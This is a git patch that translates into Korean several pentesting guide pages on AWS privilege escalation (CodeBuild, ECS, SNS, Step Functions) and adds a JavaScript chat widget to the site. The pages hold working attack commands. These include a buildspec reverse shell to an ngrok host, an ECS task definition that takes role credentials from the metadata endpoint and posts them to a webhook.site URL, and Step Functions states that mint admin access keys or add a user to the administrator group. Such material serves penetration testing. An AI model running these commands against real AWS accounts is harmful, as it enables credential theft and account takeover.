From 7d0e1f15c0be09ee8dd7cd28e615e5b16a1e4637 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Apr 2025 15:32:12 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- book.toml | 1 + .../aws-codebuild-privesc.md | 26 +- .../aws-ecs-privesc.md | 59 +- .../aws-sns-privesc.md | 6 +- .../aws-stepfunctions-privesc.md | 28 +- theme/ai.js | 332 ++++++ theme/ht_searcher.js | 1030 +++++++++-------- 7 files changed, 944 insertions(+), 538 deletions(-) create mode 100644 theme/ai.js diff --git a/book.toml b/book.toml index f20e2d2a2..a1b0f52ed 100644 --- a/book.toml +++ b/book.toml @@ -31,6 +31,7 @@ additional-js = [ "theme/tabs.js", "theme/ht_searcher.js", "theme/sponsor.js", + "theme/ai.js" ] no-section-label = true preferred-dark-theme = "hacktricks-dark" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 01bac1c06..71ed6a15b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -12,7 +12,7 @@ ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -이 권한 중 하나만 있으면 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam 역할의 토큰을 훔칠 수 있습니다: +이 권한 중 하나만 있으면 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam 역할의 토큰을 탈취할 수 있습니다: {{#tabs }} {{#tab name="StartBuild" }} @@ -58,7 +58,7 @@ aws codebuild start-build-batch --project --buildspec-override fi {{#endtab }} {{#endtabs }} -**참고**: 이 두 명령의 차이는 다음과 같습니다: +**참고**: 이 두 명령어의 차이는 다음과 같습니다: - `StartBuild`는 특정 `buildspec.yml`을 사용하여 단일 빌드 작업을 트리거합니다. - `StartBuildBatch`는 더 복잡한 구성으로 빌드 배치를 시작할 수 있게 해줍니다 (예: 여러 빌드를 병렬로 실행). @@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -**`iam:PassRole`, `codebuild:CreateProject`, 및 `codebuild:StartBuild` 또는 `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 코드를 생성하여 **모든 codebuild IAM 역할로 권한을 상승시킬 수 있습니다**. +**`iam:PassRole`, `codebuild:CreateProject`, 및 `codebuild:StartBuild` 또는 `codebuild:StartBuildBatch`** 권한을 가진 공격자는 실행 중인 코드를 생성하여 **모든 codebuild IAM 역할로 권한을 상승시킬 수 있습니다.** {{#tabs }} {{#tab name="Example1" }} @@ -174,13 +174,13 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data **잠재적 영향:** 모든 AWS Codebuild 역할에 대한 직접적인 권한 상승. > [!WARNING] -> **Codebuild 컨테이너**에서 파일 `/codebuild/output/tmp/env.sh`는 **메타데이터 자격 증명**에 접근하는 데 필요한 모든 환경 변수를 포함하고 있습니다. +> **Codebuild 컨테이너**에서 파일 `/codebuild/output/tmp/env.sh`는 **메타데이터 자격 증명**에 접근하는 데 필요한 모든 환경 변수를 포함합니다. -> 이 파일에는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함하고 있습니다. 이는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다. +> 이 파일에는 **환경 변수 `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**가 포함되어 있으며, 이는 자격 증명에 접근하기 위한 **URL 경로**를 포함합니다. 이 경로는 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`와 같은 형식일 것입니다. > 이를 URL **`http://169.254.170.2/`**에 추가하면 역할 자격 증명을 덤프할 수 있습니다. -> 또한, **환경 변수 `ECS_CONTAINER_METADATA_URI`**도 포함되어 있으며, 이는 **컨테이너에 대한 메타데이터 정보**를 얻기 위한 전체 URL을 포함하고 있습니다. +> 또한, **환경 변수 `ECS_CONTAINER_METADATA_URI`**도 포함되어 있으며, 이는 **컨테이너에 대한 메타데이터 정보**를 얻기 위한 전체 URL을 포함합니다. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -214,7 +214,7 @@ JSON="{ printf "$JSON" > $REV_PATH -aws codebuild update-project --cli-input-json file://$REV_PATH +aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` @@ -302,9 +302,9 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트 내부에 접근**할 수 있습니다. +**SSM 세션을 시작할 수 있는 충분한 권한이 있는 경우** 빌드 중인 **Codebuild 프로젝트 내부에 들어갈 수 있습니다.** -코드빌드 프로젝트는 중단점이 필요합니다: +Codebuild 프로젝트는 중단점이 필요합니다:
phases:
 pre_build:
@@ -325,7 +325,7 @@ aws ssm start-session --target  --region 
 
 특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 공격자는 공격자가 쓰기 권한이 있는 S3 버킷에 `buildspec.yml` 파일을 저장하는 경우, CodeBuild 프로세스에서 명령 실행을 얻을 수 있습니다.
 
-참고: 상승 권한은 CodeBuild 작업자가 공격자의 역할과 다른 역할, 바람직하게는 더 높은 권한을 가진 경우에만 관련이 있습니다.
+참고: 권한 상승은 CodeBuild 작업자가 공격자의 역할과 다른 역할(더 높은 권한이 있기를 바람)을 가질 때만 관련이 있습니다.
 ```bash
 aws s3 cp s3:///buildspec.yml ./
 
@@ -351,13 +351,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**영향:** 일반적으로 높은 권한을 가진 AWS CodeBuild 작업자가 사용하는 역할로의 직접적인 권한 상승.
+**Impact:** AWS CodeBuild 작업자가 사용하는 역할로의 직접적인 권한 상승, 일반적으로 높은 권한을 가집니다.
 
 > [!WARNING]
-> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 루트 디렉토리에서 `buildspec.yml`을 다운로드, 압축 해제, 수정한 후 다시 압축하고 업로드해야 합니다.
+> buildspec이 zip 형식으로 예상될 수 있으므로, 공격자는 다운로드, 압축 해제, 루트 디렉토리에서 `buildspec.yml` 수정, 다시 압축 및 업로드를 해야 합니다.
 
 자세한 내용은 [여기](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)에서 확인할 수 있습니다.
 
-**잠재적 영향:** 연결된 AWS Codebuild 역할로의 직접적인 권한 상승.
+**Potential Impact:** 연결된 AWS Codebuild 역할로의 직접적인 권한 상승.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index ac9605c88..375468c44 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -4,7 +4,7 @@
 
 ## ECS
 
-ECS에 대한 **더 많은 정보**는:
+ECS에 대한 **더 많은 정보**는 다음에서 확인할 수 있습니다:
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -12,7 +12,10 @@ ECS에 대한 **더 많은 정보**는:
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-`iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 **악성 컨테이너**가 메타데이터 자격 증명을 훔치는 **새 작업 정의**를 **생성**하고 **실행**할 수 있습니다.
+`iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 **메타데이터 자격 증명을 훔치는** **악성 컨테이너**로 **새로운 작업 정의**를 **생성**하고 **실행**할 수 있습니다.
+
+{{#tabs }}
+{{#tab name="Reverse Shell" }}
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -32,7 +35,47 @@ aws ecs run-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**잠재적 영향:** 다른 ECS 역할로의 직접적인 권한 상승.
+{{#endtab }}
+
+{{#tab name="Webhook" }}
+
+webhook.site와 같은 사이트에서 웹후크를 생성합니다.
+```bash
+
+# Create file container-definition.json
+[
+{
+"name": "exfil_creds",
+"image": "python:latest",
+"entryPoint": ["sh", "-c"],
+"command": [
+"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
+]
+}
+]
+
+# Run task definition, uploading the .json file
+aws ecs register-task-definition \
+--family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 \
+--memory 512 \
+--requires-compatibilities FARGATE \
+--container-definitions file://container-definition.json
+
+# Check the webhook for a response
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+
+```
+{{#endtab }}
+
+{{#endtabs }}
+
+**Potential Impact:** 다른 ECS 역할로의 직접적인 권한 상승.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
@@ -57,7 +100,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
 
-이전 예제와 마찬가지로 공격자가 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하면 **악성 컨테이너**가 포함된 **새로운 작업 정의**를 **생성하고, 최소 1개의 작업이 실행되는 새로운 서비스를 생성하여 실행할 수 있습니다.**
+이전 예제와 마찬가지로, 공격자가 ECS에서 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 또는 **`ecs:CreateService`** 권한을 악용하면 **악성 컨테이너**가 포함된 **새로운 작업 정의**를 **생성하고, 최소 1개의 작업이 실행되는 새로운 서비스를 생성하여 이를 실행할 수 있습니다.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -84,7 +127,7 @@ aws ecs update-service --cluster  \
 
 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
 
-사실, 이러한 권한만으로도 오버라이드를 사용하여 임의의 역할로 컨테이너에서 임의의 명령을 실행할 수 있습니다.
+실제로, 이러한 권한만으로도 임의의 역할을 가진 컨테이너에서 임의의 명령을 실행하기 위해 오버라이드를 사용할 수 있습니다.
 ```bash
 aws ecs run-task \
 --task-definition "" \
@@ -98,7 +141,7 @@ aws ecs run-task \
 
 이 시나리오는 이전과 유사하지만 **`iam:PassRole`** 권한이 **없는** 경우입니다.\
 여전히 흥미로운 점은 임의의 컨테이너를 실행할 수 있다면, 역할 없이도 **특권 컨테이너를 실행하여** 노드로 탈출하고 **EC2 IAM 역할** 및 노드에서 실행 중인 **다른 ECS 컨테이너 역할**을 **탈취**할 수 있다는 것입니다.\
-또한 **당신이 손상시킨 EC2 인스턴스 내에서 다른 작업을 강제로 실행**하여 그들의 자격 증명을 탈취할 수도 있습니다 (자세한 내용은 [**노드 섹션으로의 권한 상승**](aws-ecs-privesc.md#privesc-to-node)에서 논의됨).
+또한 **당신이 손상시킨 EC2 인스턴스 내에서 다른 작업을 강제로 실행**하여 그들의 자격 증명을 탈취할 수도 있습니다 (자세한 내용은 [**노드로의 권한 상승 섹션**](aws-ecs-privesc.md#privesc-to-node)에서 논의됨).
 
 > [!WARNING]
 > 이 공격은 **ECS 클러스터가 EC2** 인스턴스를 사용하고 있을 때만 가능합니다.
@@ -149,7 +192,7 @@ aws ecs run-task --task-definition iam_exfiltration \
 
 따라서 공격자는 다음을 시도할 수 있습니다:
 
-- **모든 실행 중인 컨테이너에서 명령을 실행해 보십시오**
+- **모든 실행 중인 컨테이너에서 명령을 실행해 보십시오.**
 ```bash
 # List enableExecuteCommand on each task
 for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -194,7 +237,7 @@ aws-ec2-privesc.md
 
 ### `?ecs:RegisterContainerInstance`
 
-TODO: 공격자가 제어하는 머신에서 작업이 실행되도록 다른 AWS 계정에서 인스턴스를 등록할 수 있는가??
+TODO: 공격자가 제어하는 머신에서 작업이 실행되도록 다른 AWS 계정에서 인스턴스를 등록할 수 있는지??
 
 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
index 839624a31..62f6dab7e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
@@ -20,7 +20,7 @@ aws sns publish --topic-arn  --message 
 
 ### `sns:Subscribe`
 
-공격자는 SNS 주제에 구독할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다.
+공격자는 SNS 주제에 구독할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 해당 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다.
 ```bash
 aws sns subscribe --topic-arn  --protocol  --endpoint 
 ```
@@ -28,10 +28,10 @@ aws sns subscribe --topic-arn  --protocol  --endpoint 
 
 ### `sns:AddPermission`
 
-공격자는 무단 사용자 또는 서비스에 SNS 주제에 대한 접근 권한을 부여하여 추가 권한을 얻을 수 있습니다.
+공격자는 무단 사용자 또는 서비스에 SNS 주제에 대한 접근 권한을 부여할 수 있으며, 잠재적으로 추가 권한을 얻을 수 있습니다.
 ```css
 aws sns add-permission --topic-arn  --label  --aws-account-id  --action-name 
 ```
-**잠재적 영향**: 무단 사용자 또는 서비스에 의한 주제에 대한 무단 접근, 메시지 노출 또는 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단. 
+**잠재적 영향**: 무단 사용자 또는 서비스에 의한 주제에 대한 무단 접근, 메시지 노출 또는 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
index b5b88f91f..24d29e004 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -25,11 +25,11 @@
 
 ### `states:TestState` & `iam:PassRole`
 
-**`states:TestState`** 및 **`iam:PassRole`** 권한을 가진 공격자는 기존 상태 기계를 생성하거나 업데이트하지 않고도 모든 상태를 테스트하고 IAM 역할을 전달할 수 있어, 역할의 권한으로 다른 AWS 서비스에 대한 무단 액세스를 가능하게 합니다. 이 권한이 결합되면, 워크플로를 조작하여 데이터를 변경하거나 데이터 유출, 리소스 조작 및 권한 상승과 같은 광범위한 무단 작업으로 이어질 수 있습니다.
+**`states:TestState`** 및 **`iam:PassRole`** 권한을 가진 공격자는 기존 상태 기계를 생성하거나 업데이트하지 않고도 모든 상태를 테스트하고 IAM 역할을 전달할 수 있으며, 이는 역할의 권한으로 다른 AWS 서비스에 대한 무단 액세스를 가능하게 할 수 있습니다. 이 권한이 결합되면 워크플로를 조작하여 데이터를 변경하거나 데이터 유출, 리소스 조작 및 권한 상승과 같은 광범위한 무단 작업으로 이어질 수 있습니다.
 ```bash
 aws states test-state --definition  --role-arn  [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets]
 ```
-다음 예제는 이러한 권한과 AWS 환경의 관대한 역할을 활용하여 **`admin`** 사용자에 대한 액세스 키를 생성하는 상태를 테스트하는 방법을 보여줍니다. 이 관대한 역할은 상태가 **`iam:CreateAccessKey`** 작업을 수행할 수 있도록 하는 고급 권한 정책(예: **`arn:aws:iam::aws:policy/AdministratorAccess`**)이 연결되어 있어야 합니다:
+다음 예제는 이러한 권한과 AWS 환경의 관대한 역할을 활용하여 **`admin`** 사용자에 대한 액세스 키를 생성하는 상태를 테스트하는 방법을 보여줍니다. 이 관대한 역할은 **`iam:CreateAccessKey`** 작업을 수행할 수 있도록 하는 고급 권한 정책(예: **`arn:aws:iam::aws:policy/AdministratorAccess`**)이 연결되어 있어야 합니다:
 
 - **stateDefinition.json**:
 ```json
@@ -42,7 +42,7 @@ aws states test-state --definition  --role-arn  [--input ]
 "End": true
 }
 ```
-- **권한 상승**을 수행하기 위해 실행된 **명령**:
+- **Command** 실행하여 권한 상승을 수행:
 ```bash
 aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole
 
@@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
 "status": "SUCCEEDED"
 }
 ```
-**잠재적 영향**: 승인되지 않은 워크플로우 실행 및 조작과 민감한 리소스에 대한 접근, 이는 심각한 보안 위반으로 이어질 수 있습니다.
+**잠재적 영향**: 승인되지 않은 워크플로우 실행 및 조작과 민감한 리소스 접근, 이는 심각한 보안 위반으로 이어질 수 있습니다.
 
 ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
 
-**`states:CreateStateMachine`** 및 **`iam:PassRole`** 권한을 가진 공격자는 상태 기계를 생성하고 이를 위해 어떤 IAM 역할이든 제공할 수 있어, 역할의 권한으로 다른 AWS 서비스에 대한 승인되지 않은 접근을 가능하게 합니다. 이전의 권한 상승 기법(**`states:TestState`** & **`iam:PassRole`**)과는 달리, 이 기법은 스스로 실행되지 않으며, 상태 기계에서 실행을 시작하기 위해 **`states:StartExecution`** 또는 **`states:StartSyncExecution`** 권한이 필요합니다 (**`states:StartSyncExecution`**은 **표준 워크플로우에 대해 사용할 수 없으며, **표현 상태 기계**에만 해당됩니다).
+**`states:CreateStateMachine`** 및 **`iam:PassRole`** 권한을 가진 공격자는 상태 기계를 생성하고 이에 IAM 역할을 제공할 수 있어, 역할의 권한으로 다른 AWS 서비스에 대한 승인되지 않은 접근을 가능하게 합니다. 이전의 권한 상승 기법(**`states:TestState`** & **`iam:PassRole`**)과는 달리, 이 기법은 스스로 실행되지 않으며, 상태 기계에서 실행을 시작하기 위해 **`states:StartExecution`** 또는 **`states:StartSyncExecution`** 권한이 필요합니다 (**`states:StartSyncExecution`**은 **표준 워크플로우에 대해 사용할 수 없으며, **표현 상태 기계**에만 해당됩니다).
 ```bash
 # Create a state machine
 aws states create-state-machine --name  --definition  --role-arn  [--type ] [--logging-configuration ]\
@@ -115,7 +115,7 @@ aws states start-sync-execution --state-machine-arn  [--name ] [--
 }
 }
 ```
-- **상태 머신**을 **생성하기 위해** 실행된 **명령**:
+- **Command** executed to **create the state machine**:
 ```bash
 aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
 {
@@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
 "creationDate": "2024-07-09T20:29:35.381000+02:00"
 }
 ```
-- **명령어**는 이전에 생성된 상태 기계의 **실행을 시작**하기 위해 실행됩니다:
+- **명령어**는 이전에 생성된 상태 기계의 **실행을 시작**하기 위해 실행되었습니다:
 ```json
 aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
 {
@@ -138,20 +138,20 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
 
 ### `states:UpdateStateMachine` & (항상 필요하지 않음) `iam:PassRole`
 
-**`states:UpdateStateMachine`** 권한을 가진 공격자는 상태 머신의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 은밀한 상태를 추가할 수 있습니다. 이렇게 하면, 정당한 사용자가 상태 머신의 실행을 시작할 때 이 새로운 악의적인 은밀한 상태가 실행되고 권한 상승이 성공하게 됩니다.
+**`states:UpdateStateMachine`** 권한을 가진 공격자는 상태 기계의 정의를 수정할 수 있으며, 권한 상승으로 이어질 수 있는 추가적인 은밀한 상태를 추가할 수 있습니다. 이렇게 하면, 정당한 사용자가 상태 기계의 실행을 시작할 때 이 새로운 악의적인 은밀한 상태가 실행되고 권한 상승이 성공하게 됩니다.
 
-상태 머신에 연결된 IAM 역할이 얼마나 관대하게 설정되어 있는지에 따라 공격자는 두 가지 상황에 직면할 수 있습니다:
+상태 기계와 연결된 IAM 역할이 얼마나 관대하게 설정되어 있는지에 따라 공격자는 두 가지 상황에 직면할 수 있습니다:
 
-1. **관대한 IAM 역할**: 상태 머신에 연결된 IAM 역할이 이미 관대하다면(예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 첨부되어 있는 경우), 권한 상승을 위해 **`iam:PassRole`** 권한이 필요하지 않습니다. 상태 머신 정의만으로도 충분하기 때문입니다.
-2. **비관대한 IAM 역할**: 이전 경우와는 달리, 여기서 공격자는 상태 머신 정의를 수정하는 것 외에도 상태 머신에 관대한 IAM 역할을 연결해야 하므로 **`iam:PassRole`** 권한이 필요합니다.
+1. **관대한 IAM 역할**: 상태 기계와 연결된 IAM 역할이 이미 관대하다면(예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 첨부되어 있는 경우), 권한 상승을 위해 **`iam:PassRole`** 권한이 필요하지 않습니다. 상태 기계 정의만으로도 충분하기 때문입니다.
+2. **비관대한 IAM 역할**: 이전 경우와는 달리, 여기서 공격자는 상태 기계 정의를 수정하는 것 외에도 상태 기계에 관대한 IAM 역할을 연결하기 위해 **`iam:PassRole`** 권한이 필요합니다.
 ```bash
 aws states update-state-machine --state-machine-arn  [--definition ] [--role-arn ] [--logging-configuration ] \
 [--tracing-configuration ] [--publish | --no-publish] [--version-description ]
 ```
-다음 예제는 HelloWorld Lambda 함수를 호출하는 합법적인 상태 머신을 업데이트하여 사용자 **`unprivilegedUser`**를 **`administrator`** IAM 그룹에 추가하는 추가 상태를 추가하는 방법을 보여줍니다. 이렇게 하면 합법적인 사용자가 업데이트된 상태 머신의 실행을 시작할 때 이 새로운 악의적인 스텔스 상태가 실행되고 권한 상승이 성공적으로 이루어집니다.
+다음 예제는 HelloWorld Lambda 함수를 호출하는 합법적인 상태 기계를 업데이트하여 사용자 **`unprivilegedUser`**를 **`administrator`** IAM 그룹에 추가하는 추가 상태를 추가하는 방법을 보여줍니다. 이렇게 하면 합법적인 사용자가 업데이트된 상태 기계의 실행을 시작할 때 이 새로운 악의적인 스텔스 상태가 실행되고 권한 상승이 성공하게 됩니다.
 
 > [!WARNING]
-> 상태 머신에 관대한 IAM 역할이 연결되어 있지 않은 경우, 관대한 IAM 역할을 연결하기 위해 IAM 역할을 업데이트하는 데 **`iam:PassRole`** 권한이 필요합니다 (예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 연결된 역할). 
+> 상태 기계에 관대한 IAM 역할이 연결되어 있지 않은 경우, 관대한 IAM 역할을 연결하기 위해 IAM 역할을 업데이트하는 **`iam:PassRole`** 권한도 필요합니다 (예: **`arn:aws:iam::aws:policy/AdministratorAccess`** 정책이 연결된 역할).
 
 {{#tabs }}
 {{#tab name="Legit State Machine" }}
@@ -218,7 +218,7 @@ aws states update-state-machine --state-machine-arn  [--definition  ctx.querySelector(sel);
+  if (document.getElementById("ht-ai-btn")) {
+    console.warn(`${LOG} Widget already injected.`);
+    return;
+  }
+  (document.readyState === "loading"
+    ? document.addEventListener("DOMContentLoaded", init)
+    : init());
+
+  /* ==================================================================== */
+  /*  🔗 1. 3rd-party libs → Markdown & sanitiser                         */
+  /* ==================================================================== */
+  function loadScript(src) {
+    return new Promise((resolve, reject) => {
+      const s = document.createElement("script");
+      s.src = src;
+      s.onload = resolve;
+      s.onerror = () => reject(new Error(`Failed to load ${src}`));
+      document.head.appendChild(s);
+    });
+  }
+
+  async function ensureDeps() {
+    const deps = [];
+    if (typeof marked === "undefined") {
+      deps.push(loadScript("https://cdn.jsdelivr.net/npm/marked/marked.min.js"));
+    }
+    if (typeof DOMPurify === "undefined") {
+      deps.push(
+        loadScript(
+          "https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js"
+        )
+      );
+    }
+    if (deps.length) await Promise.all(deps);
+  }
+
+  function mdToSafeHTML(md) {
+    // 1️⃣ Markdown → raw HTML
+    const raw = marked.parse(md, { mangle: false, headerIds: false });
+    // 2️⃣ Purify
+    return DOMPurify.sanitize(raw, { USE_PROFILES: { html: true } });
+  }
+
+  /* ==================================================================== */
+  async function init() {
+    /* ----- make sure marked & DOMPurify are ready before anything else */
+    try {
+      await ensureDeps();
+    } catch (e) {
+      console.error(`${LOG} Could not load dependencies`, e);
+      return;
+    }
+
+    console.log(`${LOG} Injecting widget… v1.15`);
+
+    await ensureThreadId();
+    injectStyles();
+
+    const btn      = createFloatingButton();
+    createTooltip(btn);
+    const panel    = createSidebar();
+    const chatLog  = $("#ht-ai-chat");
+    const sendBtn  = $("#ht-ai-send");
+    const inputBox = $("#ht-ai-question");
+    const resetBtn = $("#ht-ai-reset");
+    const closeBtn = $("#ht-ai-close");
+
+    /* ------------------- Selection snapshot ------------------- */
+    let savedSelection = "";
+    btn.addEventListener("pointerdown", () => {
+      savedSelection = window.getSelection().toString().trim();
+    });
+
+    /* ------------------- Helpers ------------------------------ */
+    function addMsg(text, cls) {
+      const b = document.createElement("div");
+      b.className = `ht-msg ${cls}`;
+
+      // ✨ assistant replies rendered as Markdown + sanitised
+      if (cls === "ht-ai") {
+        b.innerHTML = mdToSafeHTML(text);
+      } else {
+        // user / context bubbles stay plain-text
+        b.textContent = text;
+      }
+
+      chatLog.appendChild(b);
+      chatLog.scrollTop = chatLog.scrollHeight;
+      return b;
+    }
+    const LOADER_HTML =
+      '';
+
+    function setInputDisabled(d) {
+      inputBox.disabled = d;
+      sendBtn.disabled  = d;
+    }
+    function clearThreadCookie() {
+      document.cookie = "threadId=; Path=/; Max-Age=0";
+      threadId        = null;
+    }
+    function resetConversation() {
+      chatLog.innerHTML = "";
+      clearThreadCookie();
+      panel.classList.remove("open");
+    }
+
+    /* ------------------- Panel open / close ------------------- */
+    btn.addEventListener("click", () => {
+      if (!savedSelection) {
+        alert("Please highlight some text first to then ask HackTricks AI about it.");
+        return;
+      }
+      if (savedSelection.length > MAX_CONTEXT) {
+        alert(
+          `Highlighted text is too long (${savedSelection.length} chars). Max allowed: ${MAX_CONTEXT}.`
+        );
+        return;
+      }
+      chatLog.innerHTML = "";
+      addMsg(savedSelection, "ht-context");
+      panel.classList.add("open");
+      inputBox.focus();
+    });
+    closeBtn.addEventListener("click", resetConversation);
+    resetBtn.addEventListener("click", resetConversation);
+
+    /* --------------------------- Messaging --------------------------- */
+    async function sendMessage(question, context = null) {
+      if (!threadId) await ensureThreadId();
+      if (isRunning) {
+        addMsg("Please wait until the current operation completes.", "ht-ai");
+        return;
+      }
+
+      isRunning = true;
+      setInputDisabled(true);
+      const loadingBubble = addMsg("", "ht-ai");
+      loadingBubble.innerHTML = LOADER_HTML;
+
+      const content = context
+        ? `### Context:\n${context}\n\n### Question to answer:\n${question}`
+        : question;
+      try {
+        const res = await fetch(`${API_BASE}/${threadId}/messages`, {
+          method: "POST",
+          credentials: "include",
+          headers: { "Content-Type": "application/json" },
+          body: JSON.stringify({ content })
+        });
+        if (!res.ok) {
+          let err = `Unknown error: ${res.status}`;
+          try {
+            const e = await res.json();
+            if (e.error) err = `Error: ${e.error}`;
+            else if (res.status === 429)
+              err = "Rate limit exceeded. Please try again later.";
+          } catch (_) {}
+          loadingBubble.textContent = err;
+          return;
+        }
+        const data = await res.json();
+        loadingBubble.remove();
+        if (Array.isArray(data.response))
+          data.response.forEach((p) => {
+            addMsg(
+              p.type === "text" && p.text && p.text.value
+                ? p.text.value
+                : JSON.stringify(p),
+              "ht-ai"
+            );
+          });
+        else if (typeof data.response === "string")
+          addMsg(data.response, "ht-ai");
+        else addMsg(JSON.stringify(data, null, 2), "ht-ai");
+      } catch (e) {
+        console.error("Error sending message:", e);
+        loadingBubble.textContent = "An unexpected error occurred.";
+      } finally {
+        isRunning = false;
+        setInputDisabled(false);
+        chatLog.scrollTop = chatLog.scrollHeight;
+      }
+    }
+
+    async function handleSend() {
+      const q = inputBox.value.trim();
+      if (!q) return;
+      if (q.length > MAX_QUESTION) {
+        alert(
+          `Your question is too long (${q.length} chars). Max allowed: ${MAX_QUESTION}.`
+        );
+        return;
+      }
+      inputBox.value = "";
+      addMsg(q, "ht-user");
+      await sendMessage(q, savedSelection || null);
+    }
+    sendBtn.addEventListener("click", handleSend);
+    inputBox.addEventListener("keydown", (e) => {
+      if (e.key === "Enter" && !e.shiftKey) {
